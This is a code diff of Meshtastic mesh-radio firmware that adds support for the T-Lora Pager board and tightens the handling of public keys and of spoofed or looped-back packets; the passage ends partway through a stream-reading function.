pinMode(pinPress, INPUT_PULLUP);
|
||||
attachInterrupt(pinPress, onIntPress, RISING);
|
||||
}
|
||||
if (!isRAK || this->_pinDown != 0) {
|
||||
pinMode(this->_pinDown, INPUT_PULLUP);
|
||||
attachInterrupt(this->_pinDown, onIntDown, RISING);
|
||||
}
|
||||
if (!isRAK || this->_pinUp != 0) {
|
||||
pinMode(this->_pinUp, INPUT_PULLUP);
|
||||
attachInterrupt(this->_pinUp, onIntUp, RISING);
|
||||
}
|
||||
|
||||
LOG_DEBUG("Up/down/press GPIO initialized (%d, %d, %d)", this->_pinUp, this->_pinDown, pinPress);
|
||||
|
||||
|
||||
@@ -12,8 +12,8 @@ void CardKbI2cImpl::init()
|
||||
#if !MESHTASTIC_EXCLUDE_I2C && !defined(ARCH_PORTDUINO) && !defined(I2C_NO_RESCAN)
|
||||
if (cardkb_found.address == 0x00) {
|
||||
LOG_DEBUG("Rescan for I2C keyboard");
|
||||
uint8_t i2caddr_scan[] = {CARDKB_ADDR, TDECK_KB_ADDR, BBQ10_KB_ADDR, MPR121_KB_ADDR, XPOWERS_AXP192_AXP2101_ADDRESS};
|
||||
uint8_t i2caddr_asize = 5;
|
||||
uint8_t i2caddr_scan[] = {CARDKB_ADDR, TDECK_KB_ADDR, BBQ10_KB_ADDR, MPR121_KB_ADDR, TCA8418_KB_ADDR};
|
||||
uint8_t i2caddr_asize = sizeof(i2caddr_scan) / sizeof(i2caddr_scan[0]);
|
||||
auto i2cScanner = std::unique_ptr<ScanI2CTwoWire>(new ScanI2CTwoWire());
|
||||
|
||||
#if WIRE_INTERFACES_COUNT == 2
|
||||
|
||||
+62
-10
@@ -135,8 +135,9 @@ AccelerometerThread *accelerometerThread = nullptr;
|
||||
AudioThread *audioThread = nullptr;
|
||||
#endif
|
||||
|
||||
#ifdef USE_PCA9557
|
||||
PCA9557 IOEXP;
|
||||
#ifdef USE_XL9555
|
||||
#include "ExtensionIOXL9555.hpp"
|
||||
ExtensionIOXL9555 io;
|
||||
#endif
|
||||
|
||||
#if HAS_TFT
|
||||
@@ -201,7 +202,7 @@ ScanI2C::FoundDevice rgb_found = ScanI2C::FoundDevice(ScanI2C::DeviceType::NONE,
|
||||
/// The I2C address of our Air Quality Indicator (if found)
|
||||
ScanI2C::DeviceAddress aqi_found = ScanI2C::ADDRESS_NONE;
|
||||
|
||||
#ifdef T_WATCH_S3
|
||||
#if defined(T_WATCH_S3) || defined(T_LORA_PAGER)
|
||||
Adafruit_DRV2605 drv;
|
||||
#endif
|
||||
|
||||
@@ -304,7 +305,6 @@ void setup()
|
||||
Wire.begin(48, 47);
|
||||
io.pinMode(PCA_PIN_EINK_EN, OUTPUT);
|
||||
io.pinMode(PCA_PIN_POWER_EN, OUTPUT);
|
||||
io.digitalWrite(PCA_PIN_EINK_EN, HIGH);
|
||||
io.digitalWrite(PCA_PIN_POWER_EN, HIGH);
|
||||
// io.pinMode(C2_PIN, OUTPUT);
|
||||
#endif
|
||||
@@ -326,8 +326,12 @@ void setup()
|
||||
|
||||
#ifdef BLE_LED
|
||||
pinMode(BLE_LED, OUTPUT);
|
||||
#ifdef BLE_LED_INVERTED
|
||||
digitalWrite(BLE_LED, HIGH);
|
||||
#else
|
||||
digitalWrite(BLE_LED, LOW);
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#if defined(T_DECK)
|
||||
// GPIO10 manages all peripheral power supplies
|
||||
@@ -356,6 +360,30 @@ void setup()
|
||||
digitalWrite(SDCARD_CS, HIGH);
|
||||
pinMode(PIN_EINK_CS, OUTPUT);
|
||||
digitalWrite(PIN_EINK_CS, HIGH);
|
||||
#elif defined(T_LORA_PAGER)
|
||||
pinMode(LORA_CS, OUTPUT);
|
||||
digitalWrite(LORA_CS, HIGH);
|
||||
pinMode(SDCARD_CS, OUTPUT);
|
||||
digitalWrite(SDCARD_CS, HIGH);
|
||||
pinMode(TFT_CS, OUTPUT);
|
||||
digitalWrite(TFT_CS, HIGH);
|
||||
// io expander
|
||||
io.begin(Wire, XL9555_SLAVE_ADDRESS0, SDA, SCL);
|
||||
io.pinMode(EXPANDS_DRV_EN, OUTPUT);
|
||||
io.digitalWrite(EXPANDS_DRV_EN, HIGH);
|
||||
io.pinMode(EXPANDS_AMP_EN, OUTPUT);
|
||||
io.digitalWrite(EXPANDS_AMP_EN, HIGH);
|
||||
io.pinMode(EXPANDS_LORA_EN, OUTPUT);
|
||||
io.digitalWrite(EXPANDS_LORA_EN, HIGH);
|
||||
io.pinMode(EXPANDS_GPS_EN, OUTPUT);
|
||||
io.digitalWrite(EXPANDS_GPS_EN, HIGH);
|
||||
io.pinMode(EXPANDS_KB_EN, OUTPUT);
|
||||
io.digitalWrite(EXPANDS_KB_EN, HIGH);
|
||||
io.pinMode(EXPANDS_SD_EN, OUTPUT);
|
||||
io.digitalWrite(EXPANDS_SD_EN, HIGH);
|
||||
io.pinMode(EXPANDS_GPIO_EN, OUTPUT);
|
||||
io.digitalWrite(EXPANDS_GPIO_EN, HIGH);
|
||||
io.pinMode(EXPANDS_SD_PULLEN, INPUT);
|
||||
#endif
|
||||
|
||||
concurrency::hasBeenSetup = true;
|
||||
@@ -401,6 +429,16 @@ void setup()
|
||||
|
||||
initDeepSleep();
|
||||
|
||||
#if defined(MODEM_POWER_EN)
|
||||
pinMode(MODEM_POWER_EN, OUTPUT);
|
||||
digitalWrite(MODEM_POWER_EN, LOW);
|
||||
#endif
|
||||
|
||||
#if defined(MODEM_PWRKEY)
|
||||
pinMode(MODEM_PWRKEY, OUTPUT);
|
||||
digitalWrite(MODEM_PWRKEY, LOW);
|
||||
#endif
|
||||
|
||||
#if defined(LORA_TCXO_GPIO)
|
||||
pinMode(LORA_TCXO_GPIO, OUTPUT);
|
||||
digitalWrite(LORA_TCXO_GPIO, HIGH);
|
||||
@@ -792,7 +830,7 @@ void setup()
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifdef T_WATCH_S3
|
||||
#if defined(T_WATCH_S3) || defined(T_LORA_PAGER)
|
||||
drv.begin();
|
||||
drv.selectLibrary(1);
|
||||
// I2C trigger by sending 'go' command
|
||||
@@ -821,14 +859,18 @@ void setup()
|
||||
#elif !defined(ARCH_ESP32) // ARCH_RP2040
|
||||
SPI.begin();
|
||||
#else
|
||||
// ESP32
|
||||
#if defined(HW_SPI1_DEVICE)
|
||||
// ESP32
|
||||
#ifdef LORA_TYPE
|
||||
SPI.begin(PIN_EINK_SCLK, 15, PIN_EINK_MOSI, PIN_EINK_CS);
|
||||
LOG_WARN("SPI.begin(SCK=%d, MISO=15, MOSI=%d, NSS=%d)\n", PIN_EINK_SCLK, PIN_EINK_MOSI, PIN_EINK_CS);
|
||||
#elif defined(HW_SPI1_DEVICE)
|
||||
SPI1.begin(LORA_SCK, LORA_MISO, LORA_MOSI, LORA_CS);
|
||||
LOG_DEBUG("SPI1.begin(SCK=%d, MISO=%d, MOSI=%d, NSS=%d)", LORA_SCK, LORA_MISO, LORA_MOSI, LORA_CS);
|
||||
SPI1.setFrequency(4000000);
|
||||
#else
|
||||
SPI.begin(LORA_SCK, LORA_MISO, LORA_MOSI, LORA_CS);
|
||||
LOG_DEBUG("SPI.begin(SCK=%d, MISO=%d, MOSI=%d, NSS=%d)", LORA_SCK, LORA_MISO, LORA_MOSI, LORA_CS);
|
||||
#endif
|
||||
SPI.setFrequency(4000000);
|
||||
#endif
|
||||
#endif
|
||||
@@ -838,7 +880,7 @@ void setup()
|
||||
if (config.display.displaymode != meshtastic_Config_DisplayConfig_DisplayMode_COLOR) {
|
||||
|
||||
#if defined(ST7701_CS) || defined(ST7735_CS) || defined(USE_EINK) || defined(ILI9341_DRIVER) || defined(ILI9342_DRIVER) || \
|
||||
defined(ST7789_CS) || defined(HX8357_CS) || defined(USE_ST7789) || defined(ILI9488_CS)
|
||||
defined(ST7789_CS) || defined(HX8357_CS) || defined(USE_ST7789) || defined(ILI9488_CS) || defined(ST7796_CS)
|
||||
screen = new graphics::Screen(screen_found, screen_model, screen_geometry);
|
||||
#elif defined(ARCH_PORTDUINO)
|
||||
if ((screen_found.port != ScanI2C::I2CPort::NO_I2C || settingsMap[displayPanel]) &&
|
||||
@@ -1101,7 +1143,7 @@ void setup()
|
||||
// Don't call screen setup until after nodedb is setup (because we need
|
||||
// the current region name)
|
||||
#if defined(ST7701_CS) || defined(ST7735_CS) || defined(USE_EINK) || defined(ILI9341_DRIVER) || defined(ILI9342_DRIVER) || \
|
||||
defined(ST7789_CS) || defined(HX8357_CS) || defined(USE_ST7789) || defined(ILI9488_CS)
|
||||
defined(ST7789_CS) || defined(HX8357_CS) || defined(USE_ST7789) || defined(ILI9488_CS) || defined(ST7796_CS)
|
||||
if (screen)
|
||||
screen->setup();
|
||||
#elif defined(ARCH_PORTDUINO)
|
||||
@@ -1173,6 +1215,10 @@ void setup()
|
||||
}
|
||||
#elif defined(HW_SPI1_DEVICE)
|
||||
LockingArduinoHal *RadioLibHAL = new LockingArduinoHal(SPI1, spiSettings);
|
||||
#elif LORA_TYPE
|
||||
SPIClass radioSPI(VSPI);
|
||||
radioSPI.begin(RF95_SCK, RF95_MISO, RF95_MOSI, RF95_NSS);
|
||||
LockingArduinoHal *RadioLibHAL = new LockingArduinoHal(radioSPI, spiSettings);
|
||||
#else // HW_SPI1_DEVICE
|
||||
LockingArduinoHal *RadioLibHAL = new LockingArduinoHal(SPI, spiSettings);
|
||||
#endif
|
||||
@@ -1559,7 +1605,13 @@ void loop()
|
||||
#endif
|
||||
|
||||
service->loop();
|
||||
|
||||
#if defined(LGFX_SDL)
|
||||
if (screen) {
|
||||
auto dispdev = screen->getDisplayDevice();
|
||||
if (dispdev)
|
||||
static_cast<TFTDisplay *>(dispdev)->sdlLoop();
|
||||
}
|
||||
#endif
|
||||
long delayMsec = mainController.runOrDelay();
|
||||
|
||||
// We want to sleep as long as possible here - because it saves power
|
||||
|
||||
+1
-1
@@ -41,7 +41,7 @@ extern bool eink_found;
|
||||
extern bool pmu_found;
|
||||
extern bool isUSBPowered;
|
||||
|
||||
#ifdef T_WATCH_S3
|
||||
#if defined(T_WATCH_S3) || defined(T_LORA_PAGER)
|
||||
#include <Adafruit_DRV2605.h>
|
||||
extern Adafruit_DRV2605 drv;
|
||||
#endif
|
||||
|
||||
@@ -47,8 +47,10 @@ void FloodingRouter::perhapsCancelDupe(const meshtastic_MeshPacket *p)
|
||||
{
|
||||
if (config.device.role != meshtastic_Config_DeviceConfig_Role_ROUTER &&
|
||||
config.device.role != meshtastic_Config_DeviceConfig_Role_REPEATER &&
|
||||
config.device.role != meshtastic_Config_DeviceConfig_Role_ROUTER_LATE) {
|
||||
config.device.role != meshtastic_Config_DeviceConfig_Role_ROUTER_LATE &&
|
||||
p->transport_mechanism == meshtastic_MeshPacket_TransportMechanism_TRANSPORT_LORA) {
|
||||
// cancel rebroadcast of this message *if* there was already one, unless we're a router/repeater!
|
||||
// But only LoRa packets should be able to trigger this.
|
||||
if (Router::cancelSending(p->from, p->id))
|
||||
txRelayCanceled++;
|
||||
}
|
||||
|
||||
@@ -6,6 +6,10 @@
|
||||
#include "mesh/NodeDB.h"
|
||||
#ifdef LR11X0_DIO_AS_RF_SWITCH
|
||||
#include "rfswitch.h"
|
||||
#elif ARCH_PORTDUINO
|
||||
#include "PortduinoGlue.h"
|
||||
#define rfswitch_dio_pins portduino_config.rfswitch_dio_pins
|
||||
#define rfswitch_table portduino_config.rfswitch_table
|
||||
#else
|
||||
static const uint32_t rfswitch_dio_pins[] = {RADIOLIB_NC, RADIOLIB_NC, RADIOLIB_NC, RADIOLIB_NC, RADIOLIB_NC};
|
||||
static const Module::RfSwitchMode_t rfswitch_table[] = {
|
||||
@@ -14,10 +18,6 @@ static const Module::RfSwitchMode_t rfswitch_table[] = {
|
||||
};
|
||||
#endif
|
||||
|
||||
#ifdef ARCH_PORTDUINO
|
||||
#include "PortduinoGlue.h"
|
||||
#endif
|
||||
|
||||
// Particular boards might define a different max power based on what their hardware can do, default to max power output if not
|
||||
// specified (may be dangerous if using external PA and LR11x0 power config forgotten)
|
||||
#if ARCH_PORTDUINO
|
||||
@@ -117,17 +117,14 @@ template <typename T> bool LR11x0Interface<T>::init()
|
||||
#ifdef LR11X0_DIO_AS_RF_SWITCH
|
||||
bool dioAsRfSwitch = true;
|
||||
#elif defined(ARCH_PORTDUINO)
|
||||
bool dioAsRfSwitch = false;
|
||||
if (settingsMap[dio2_as_rf_switch]) {
|
||||
dioAsRfSwitch = true;
|
||||
}
|
||||
bool dioAsRfSwitch = portduino_config.has_rfswitch_table;
|
||||
#else
|
||||
bool dioAsRfSwitch = false;
|
||||
#endif
|
||||
|
||||
if (dioAsRfSwitch) {
|
||||
lora.setRfSwitchTable(rfswitch_dio_pins, rfswitch_table);
|
||||
LOG_DEBUG("Set DIO RF switch", res);
|
||||
LOG_DEBUG("Set DIO RF switch");
|
||||
}
|
||||
|
||||
if (res == RADIOLIB_ERR_NONE) {
|
||||
|
||||
@@ -100,6 +100,7 @@ void MeshModule::callModules(meshtastic_MeshPacket &mp, RxSource src)
|
||||
// Was this message directed to us specifically? Will be false if we are sniffing someone elses packets
|
||||
auto ourNodeNum = nodeDB->getNodeNum();
|
||||
bool toUs = isBroadcast(mp.to) || isToUs(&mp);
|
||||
bool fromUs = mp.from == ourNodeNum;
|
||||
|
||||
for (auto i = modules->begin(); i != modules->end(); ++i) {
|
||||
auto &pi = **i;
|
||||
|
||||
+48
-25
@@ -225,7 +225,11 @@ NodeDB::NodeDB()
|
||||
memcpy(myNodeInfo.device_id.bytes + sizeof(device_id_start), &device_id_end, sizeof(device_id_end));
|
||||
myNodeInfo.device_id.size = 16;
|
||||
// Uncomment below to print the device id
|
||||
|
||||
#elif ARCH_PORTDUINO
|
||||
if (portduino_config.has_device_id) {
|
||||
memcpy(myNodeInfo.device_id.bytes, portduino_config.device_id, 16);
|
||||
myNodeInfo.device_id.size = 16;
|
||||
}
|
||||
#else
|
||||
// FIXME - implement for other platforms
|
||||
#endif
|
||||
@@ -659,7 +663,7 @@ void NodeDB::installDefaultConfig(bool preserveKey = false)
|
||||
config.bluetooth.fixed_pin = defaultBLEPin;
|
||||
|
||||
#if defined(ST7735_CS) || defined(USE_EINK) || defined(ILI9341_DRIVER) || defined(ILI9342_DRIVER) || defined(ST7789_CS) || \
|
||||
defined(HX8357_CS) || defined(USE_ST7789) || defined(ILI9488_CS)
|
||||
defined(HX8357_CS) || defined(USE_ST7789) || defined(ILI9488_CS) || defined(ST7796_CS)
|
||||
bool hasScreen = true;
|
||||
#ifdef HELTEC_MESH_NODE_T114
|
||||
uint32_t st7789_id = get_st7789_id(ST7789_NSS, ST7789_SCK, ST7789_SDA, ST7789_RS, ST7789_RESET);
|
||||
@@ -826,6 +830,15 @@ void NodeDB::installDefaultModuleConfig()
|
||||
moduleConfig.external_notification.alert_message = true;
|
||||
moduleConfig.external_notification.output_ms = 1000;
|
||||
moduleConfig.external_notification.nag_timeout = 60;
|
||||
#endif
|
||||
#ifdef T_LORA_PAGER
|
||||
moduleConfig.canned_message.updown1_enabled = true;
|
||||
moduleConfig.canned_message.inputbroker_pin_a = ROTARY_A;
|
||||
moduleConfig.canned_message.inputbroker_pin_b = ROTARY_B;
|
||||
moduleConfig.canned_message.inputbroker_pin_press = ROTARY_PRESS;
|
||||
moduleConfig.canned_message.inputbroker_event_cw = meshtastic_ModuleConfig_CannedMessageConfig_InputEventChar(28);
|
||||
moduleConfig.canned_message.inputbroker_event_ccw = meshtastic_ModuleConfig_CannedMessageConfig_InputEventChar(29);
|
||||
moduleConfig.canned_message.inputbroker_event_press = meshtastic_ModuleConfig_CannedMessageConfig_InputEventChar_SELECT;
|
||||
#endif
|
||||
moduleConfig.has_canned_message = true;
|
||||
#if USERPREFS_MQTT_ENABLED && !MESHTASTIC_EXCLUDE_MQTT
|
||||
@@ -985,9 +998,8 @@ void NodeDB::resetNodes()
|
||||
|
||||
void NodeDB::removeNodeByNum(NodeNum nodeNum)
|
||||
{
|
||||
// Don't remove the own node at position 0
|
||||
int newPos = 1, removed = 0;
|
||||
for (int i = 1; i < numMeshNodes; i++) {
|
||||
int newPos = 0, removed = 0;
|
||||
for (int i = 0; i < numMeshNodes; i++) {
|
||||
if (meshNodes->at(i).num != nodeNum)
|
||||
meshNodes->at(newPos++) = meshNodes->at(i);
|
||||
else
|
||||
@@ -1083,16 +1095,18 @@ void NodeDB::pickNewNodeNum()
|
||||
}
|
||||
|
||||
meshtastic_NodeInfoLite *found;
|
||||
if (((found = getMeshNode(nodeNum)) && memcmp(found->user.macaddr, ourMacAddr, sizeof(ourMacAddr)) != 0) ||
|
||||
(nodeNum == NODENUM_BROADCAST || nodeNum < NUM_RESERVED)) {
|
||||
NodeNum newNodeNum = (ourMacAddr[2] << 24) | (ourMacAddr[3] << 16) | (ourMacAddr[4] << 8) | ourMacAddr[5];
|
||||
LOG_WARN("NOTE! Our saved nodenum 0x%x is invalid or in use. Using 0x%x", nodeNum, newNodeNum);
|
||||
nodeNum = newNodeNum;
|
||||
while (((found = getMeshNode(nodeNum)) && memcmp(found->user.macaddr, ourMacAddr, sizeof(ourMacAddr)) != 0) ||
|
||||
(nodeNum == NODENUM_BROADCAST || nodeNum < NUM_RESERVED)) {
|
||||
NodeNum candidate = random(NUM_RESERVED, LONG_MAX); // try a new random choice
|
||||
if (found)
|
||||
LOG_WARN("NOTE! Our desired nodenum 0x%x is invalid or in use, by MAC ending in 0x%02x%02x vs our 0x%02x%02x, so "
|
||||
"trying for 0x%x",
|
||||
nodeNum, found->user.macaddr[4], found->user.macaddr[5], ourMacAddr[4], ourMacAddr[5], candidate);
|
||||
nodeNum = candidate;
|
||||
}
|
||||
LOG_DEBUG("Use nodenum 0x%x ", nodeNum);
|
||||
|
||||
myNodeInfo.my_node_num = nodeNum;
|
||||
removeNodeByNum(nodeNum); // Since we skip 0, this should only ever remove outside matches.
|
||||
}
|
||||
|
||||
/** Load a protobuf from a file, return LoadFileResult */
|
||||
@@ -1630,24 +1644,33 @@ bool NodeDB::updateUser(uint32_t nodeId, meshtastic_User &p, uint8_t channelInde
|
||||
printBytes("Incoming Pubkey: ", p.public_key.bytes, 32);
|
||||
|
||||
// Alert the user if a remote node is advertising public key that matches our own
|
||||
if (owner.public_key.size == 32 && memcmp(p.public_key.bytes, owner.public_key.bytes, 32) == 0 && !duplicateWarned) {
|
||||
duplicateWarned = true;
|
||||
char warning[] = "Remote device %s has advertised your public key. This may indicate a compromised key. You may need "
|
||||
"to regenerate your public keys.";
|
||||
LOG_WARN(warning, p.long_name);
|
||||
meshtastic_ClientNotification *cn = clientNotificationPool.allocZeroed();
|
||||
cn->level = meshtastic_LogRecord_Level_WARNING;
|
||||
cn->time = getValidTime(RTCQualityFromNet);
|
||||
sprintf(cn->message, warning, p.long_name);
|
||||
service->sendClientNotification(cn);
|
||||
if (owner.public_key.size == 32 && memcmp(p.public_key.bytes, owner.public_key.bytes, 32) == 0) {
|
||||
if (!duplicateWarned) {
|
||||
duplicateWarned = true;
|
||||
char warning[] =
|
||||
"Remote device %s has advertised your public key. This may indicate a compromised key. You may need "
|
||||
"to regenerate your public keys.";
|
||||
LOG_WARN(warning, p.long_name);
|
||||
meshtastic_ClientNotification *cn = clientNotificationPool.allocZeroed();
|
||||
cn->level = meshtastic_LogRecord_Level_WARNING;
|
||||
cn->time = getValidTime(RTCQualityFromNet);
|
||||
sprintf(cn->message, warning, p.long_name);
|
||||
service->sendClientNotification(cn);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if (info->user.public_key.size > 0) { // if we have a key for this user already, don't overwrite with a new one
|
||||
if (info->user.public_key.size == 32) { // if we have a key for this user already, don't overwrite with a new one
|
||||
// if the key doesn't match, don't update nodeDB at all.
|
||||
if (p.public_key.size != 32 || (memcmp(p.public_key.bytes, info->user.public_key.bytes, 32) != 0)) {
|
||||
LOG_WARN("Public Key mismatch, dropping NodeInfo");
|
||||
return false;
|
||||
}
|
||||
LOG_INFO("Public Key set for node, not updating!");
|
||||
// we copy the key into the incoming packet, to prevent overwrite
|
||||
p.public_key.size = 32;
|
||||
memcpy(p.public_key.bytes, info->user.public_key.bytes, 32);
|
||||
} else if (p.public_key.size > 0) {
|
||||
} else if (p.public_key.size == 32) {
|
||||
LOG_INFO("Update Node Pubkey!");
|
||||
}
|
||||
#endif
|
||||
@@ -1688,7 +1711,7 @@ bool NodeDB::updateUser(uint32_t nodeId, meshtastic_User &p, uint8_t channelInde
|
||||
/// we updateGUI and updateGUIforNode if we think our this change is big enough for a redraw
|
||||
void NodeDB::updateFrom(const meshtastic_MeshPacket &mp)
|
||||
{
|
||||
if (mp.transport_mechanism != meshtastic_MeshPacket_TransportMechanism_TRANSPORT_API && mp.from == getNodeNum()) {
|
||||
if (mp.from == getNodeNum()) {
|
||||
LOG_DEBUG("Ignore update from self");
|
||||
return;
|
||||
}
|
||||
@@ -1866,7 +1889,7 @@ bool NodeDB::checkLowEntropyPublicKey(const meshtastic_Config_SecurityConfig_pub
|
||||
uint8_t keyHash[32] = {0};
|
||||
memcpy(keyHash, keyToTest.bytes, keyToTest.size);
|
||||
crypto->hash(keyHash, 32);
|
||||
for (int i = 0; i < sizeof(LOW_ENTROPY_HASHES) / sizeof(LOW_ENTROPY_HASHES[0]); i++) {
|
||||
for (uint16_t i = 0; i < sizeof(LOW_ENTROPY_HASHES) / sizeof(LOW_ENTROPY_HASHES[0]); i++) {
|
||||
if (memcmp(keyHash, LOW_ENTROPY_HASHES[i], sizeof(LOW_ENTROPY_HASHES[0])) == 0) {
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -192,12 +192,6 @@ bool PhoneAPI::handleToRadio(const uint8_t *buf, size_t bufLength)
|
||||
|
||||
size_t PhoneAPI::getFromRadio(uint8_t *buf)
|
||||
{
|
||||
if (!available()) {
|
||||
return 0;
|
||||
}
|
||||
// In case we send a FromRadio packet
|
||||
memset(&fromRadioScratch, 0, sizeof(fromRadioScratch));
|
||||
|
||||
// Respond to heartbeat by sending queue status
|
||||
if (heartbeatReceived) {
|
||||
memset(&fromRadioScratch, 0, sizeof(fromRadioScratch));
|
||||
@@ -209,6 +203,12 @@ size_t PhoneAPI::getFromRadio(uint8_t *buf)
|
||||
return numbytes;
|
||||
}
|
||||
|
||||
if (!available()) {
|
||||
return 0;
|
||||
}
|
||||
// In case we send a FromRadio packet
|
||||
memset(&fromRadioScratch, 0, sizeof(fromRadioScratch));
|
||||
|
||||
// Advance states as needed
|
||||
switch (state) {
|
||||
case STATE_SEND_NOTHING:
|
||||
|
||||
@@ -170,11 +170,10 @@ const RegionInfo regions[] = {
|
||||
*/
|
||||
RDEF(KZ_433, 433.075f, 434.775f, 100, 0, 10, true, false, false), RDEF(KZ_863, 863.0f, 868.0f, 100, 0, 30, true, false, true),
|
||||
|
||||
|
||||
/*
|
||||
Nepal
|
||||
865 MHz to 868 MHz frequency band for IoT (Internet of Things), M2M (Machine-to-Machine), and smart metering use, specifically in non-cellular mode.
|
||||
https://www.nta.gov.np/uploads/contents/Radio-Frequency-Policy-2080-English.pdf
|
||||
865 MHz to 868 MHz frequency band for IoT (Internet of Things), M2M (Machine-to-Machine), and smart metering use,
|
||||
specifically in non-cellular mode. https://www.nta.gov.np/uploads/contents/Radio-Frequency-Policy-2080-English.pdf
|
||||
*/
|
||||
RDEF(NP_865, 865.0f, 868.0f, 100, 0, 30, true, false, false),
|
||||
|
||||
@@ -336,8 +335,9 @@ uint32_t RadioInterface::getTxDelayMsecWeighted(float snr)
|
||||
void printPacket(const char *prefix, const meshtastic_MeshPacket *p)
|
||||
{
|
||||
#if defined(DEBUG_PORT) && !defined(DEBUG_MUTE)
|
||||
std::string out = DEBUG_PORT.mt_sprintf("%s (id=0x%08x fr=0x%08x to=0x%08x, WantAck=%d, HopLim=%d Ch=0x%x", prefix, p->id,
|
||||
p->from, p->to, p->want_ack, p->hop_limit, p->channel);
|
||||
std::string out =
|
||||
DEBUG_PORT.mt_sprintf("%s (id=0x%08x fr=0x%08x to=0x%08x, transport = %u, WantAck=%d, HopLim=%d Ch=0x%x", prefix, p->id,
|
||||
p->from, p->to, p->transport_mechanism, p->want_ack, p->hop_limit, p->channel);
|
||||
if (p->which_payload_variant == meshtastic_MeshPacket_decoded_tag) {
|
||||
auto &s = p->decoded;
|
||||
|
||||
@@ -666,8 +666,10 @@ void RadioInterface::limitPower(int8_t loraMaxPower)
|
||||
|
||||
void RadioInterface::deliverToReceiver(meshtastic_MeshPacket *p)
|
||||
{
|
||||
if (router)
|
||||
if (router) {
|
||||
p->transport_mechanism = meshtastic_MeshPacket_TransportMechanism_TRANSPORT_LORA;
|
||||
router->enqueueReceivedMessage(p);
|
||||
}
|
||||
}
|
||||
|
||||
/***
|
||||
|
||||
+13
-7
@@ -523,12 +523,15 @@ meshtastic_Routing_Error perhapsEncode(meshtastic_MeshPacket *p)
|
||||
// is not in the local nodedb
|
||||
// First, only PKC encrypt packets we are originating
|
||||
if (isFromUs(p) &&
|
||||
// Don't use PKC with simulator
|
||||
radioType != SIM_RADIO &&
|
||||
#if ARCH_PORTDUINO
|
||||
// Sim radio via the cli flag skips PKC
|
||||
!portduino_config.force_simradio &&
|
||||
#endif
|
||||
// Don't use PKC with Ham mode
|
||||
!owner.is_licensed &&
|
||||
// Don't use PKC if it's not explicitly requested and a non-primary channel is requested
|
||||
!(p->pki_encrypted != true && p->channel > 0) &&
|
||||
// Don't use PKC on 'serial' or 'gpio' channels unless explicitly requested
|
||||
!(p->pki_encrypted != true && (strcasecmp(channels.getName(chIndex), Channels::serialChannel) == 0 ||
|
||||
strcasecmp(channels.getName(chIndex), Channels::gpioChannel) == 0)) &&
|
||||
// Check for valid keys and single node destination
|
||||
config.security.private_key.size == 32 && !isBroadcast(p->to) && node != nullptr &&
|
||||
// Check for a known public key for the destination
|
||||
@@ -559,7 +562,7 @@ meshtastic_Routing_Error perhapsEncode(meshtastic_MeshPacket *p)
|
||||
// Now that we are encrypting the packet channel should be the hash (no longer the index)
|
||||
p->channel = hash;
|
||||
if (hash < 0) {
|
||||
// No suitable channel could be found for sending
|
||||
// No suitable channel could be found for
|
||||
return meshtastic_Routing_Error_NO_CHANNEL;
|
||||
}
|
||||
crypto->encryptPacket(getFrom(p), p->id, numbytes, bytes);
|
||||
@@ -575,7 +578,7 @@ meshtastic_Routing_Error perhapsEncode(meshtastic_MeshPacket *p)
|
||||
// Now that we are encrypting the packet channel should be the hash (no longer the index)
|
||||
p->channel = hash;
|
||||
if (hash < 0) {
|
||||
// No suitable channel could be found for sending
|
||||
// No suitable channel could be found for
|
||||
return meshtastic_Routing_Error_NO_CHANNEL;
|
||||
}
|
||||
crypto->encryptPacket(getFrom(p), p->id, numbytes, bytes);
|
||||
@@ -652,7 +655,8 @@ void Router::handleReceived(meshtastic_MeshPacket *p, RxSource src)
|
||||
}
|
||||
|
||||
// call modules here
|
||||
if (!skipHandle) {
|
||||
// If this could be a spoofed packet, don't let the modules see it.
|
||||
if (!skipHandle && p->from != nodeDB->getNodeNum()) {
|
||||
MeshModule::callModules(*p, src);
|
||||
|
||||
#if !MESHTASTIC_EXCLUDE_MQTT
|
||||
@@ -666,6 +670,8 @@ void Router::handleReceived(meshtastic_MeshPacket *p, RxSource src)
|
||||
!isFromUs(p) && mqtt)
|
||||
mqtt->onSend(*p_encrypted, *p, p->channel);
|
||||
#endif
|
||||
} else if (p->from == nodeDB->getNodeNum() && !skipHandle) {
|
||||
MeshModule::callModules(*p, src);
|
||||
}
|
||||
|
||||
packetPool.release(p_encrypted); // Release the encrypted packet
|
||||
|
||||
+89
-15
@@ -16,6 +16,95 @@ int32_t StreamAPI::runOncePart()
|
||||
return result;
|
||||
}
|
||||
|
||||
int32_t StreamAPI::runOncePart(char *buf, uint16_t bufLen)
|
||||
{
|
||||
auto result = readStream(buf, bufLen);
|
||||
writeStream();
|
||||
checkConnectionTimeout();
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Read any rx chars from the link and call handleRecStream
|
||||
*/
|
||||
int32_t StreamAPI::readStream(char *buf, uint16_t bufLen)
|
||||
{
|
||||
if (bufLen < 1) {
|
||||
// Nothing available this time, if the computer has talked to us recently, poll often, otherwise let CPU sleep a long time
|
||||
bool recentRx = Throttle::isWithinTimespanMs(lastRxMsec, 2000);
|
||||
return recentRx ? 5 : 250;
|
||||
} else {
|
||||
handleRecStream(buf, bufLen);
|
||||
// we had bytes available this time, so assume we might have them next time also
|
||||
lastRxMsec = millis();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* call getFromRadio() and deliver encapsulated packets to the Stream
|
||||
*/
|
||||
void StreamAPI::writeStream()
|
||||
{
|
||||
if (canWrite) {
|
||||
uint32_t len;
|
||||
do {
|
||||
// Send every packet we can
|
||||
len = getFromRadio(txBuf + HEADER_LEN);
|
||||
emitTxBuffer(len);
|
||||
} while (len);
|
||||
}
|
||||
}
|
||||
|
||||
int32_t StreamAPI::handleRecStream(char *buf, uint16_t bufLen)
|
||||
{
|
||||
uint16_t index = 0;
|
||||
while (bufLen > index) { // Currently we never want to block
|
||||
int cInt = buf[index++];
|
||||
if (cInt < 0)
|
||||
break; // We ran out of characters (even though available said otherwise) - this can happen on rf52 adafruit
|
||||
// arduino
|
||||
|
||||
uint8_t c = (uint8_t)cInt;
|
||||
|
||||
// Use the read pointer for a little state machine, first look for framing, then length bytes, then payload
|
||||
size_t ptr = rxPtr;
|
||||
|
||||
rxPtr++; // assume we will probably advance the rxPtr
|
||||
rxBuf[ptr] = c; // store all bytes (including framing)
|
||||
|
||||
